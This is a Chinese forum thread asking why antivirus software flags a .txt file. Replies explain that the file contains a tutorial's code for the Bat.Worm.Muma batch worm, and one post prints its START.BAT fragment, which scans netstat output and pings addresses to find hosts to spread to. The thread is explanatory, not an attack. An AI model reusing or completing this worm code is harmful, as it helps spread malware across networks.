1   1  /  1  页   跳转

txt文件为什么也会报毒

txt文件为什么也会报毒

瑞星软件扫出来的,我也用邮件上报瑞星,可是答复是该文件是病毒,请大侠帮忙分析一下,

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)

附件附件:

您所在的用户组无法下载或查看附件

本帖被评分 1 次
分享到:
gototop
 

回复:txt文件为什么也会报毒

该用户帖子内容已被屏蔽
发扬硅谷创业精神,开发世界领先技术。品质源于专注,实力成就梦想。
欢迎您访问:http://www.xsk.org.ru
gototop
 

回复 2F CPU_ring0 的帖子

乱说
gototop
 

回复 3F 与火同舞 的帖子

是因为文本里有Bat.Worm.Muma的代码,所以被杀掉了
教程中的简易病毒制作:
这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?

真实扩展名是TXT文本文档,原因是这段病毒代码
gototop
 

回复: txt文件为什么也会报毒

这段有点毛病
如果1、2、3、4
那么。。。。


START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
本帖被评分 1 次
gototop
 

回复 4F 随缘92WJC 的帖子

那是不是就是说原本的这个TXT文本是没有病毒的,只是里面写有病毒代码而被报毒了,如果直接运行这个文本是不会中毒的,是吗?
这个文件可以放在电脑里吗,会不会感染木马病毒?
gototop
 

回复:txt文件为什么也会报毒

把ping %NUM1%.%NUM2%.%NUM3%.1网关和%NUM1%.%NUM2%.%NUM3%.%NUM4%的结果记载在B.TMP文件里。

其中,把192.0.0.0/8,127.0.0.0/8两个可变长子网掩码和广播地址扔掉。

对个人来讲,统计,仪器,高速的计算机可以让人们得到大量充裕的时间。
这个社会中,更不可缺的是具备现代化的管理经验。
gototop
 

回复 6F 与火同舞 的帖子

这个只是教程,可以忽略的,但是有病毒代码杀软会毫不留情的杀掉,可以从网上找段病毒代码复制到文档里测试下
不过像这种测试类的危害一般不大
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT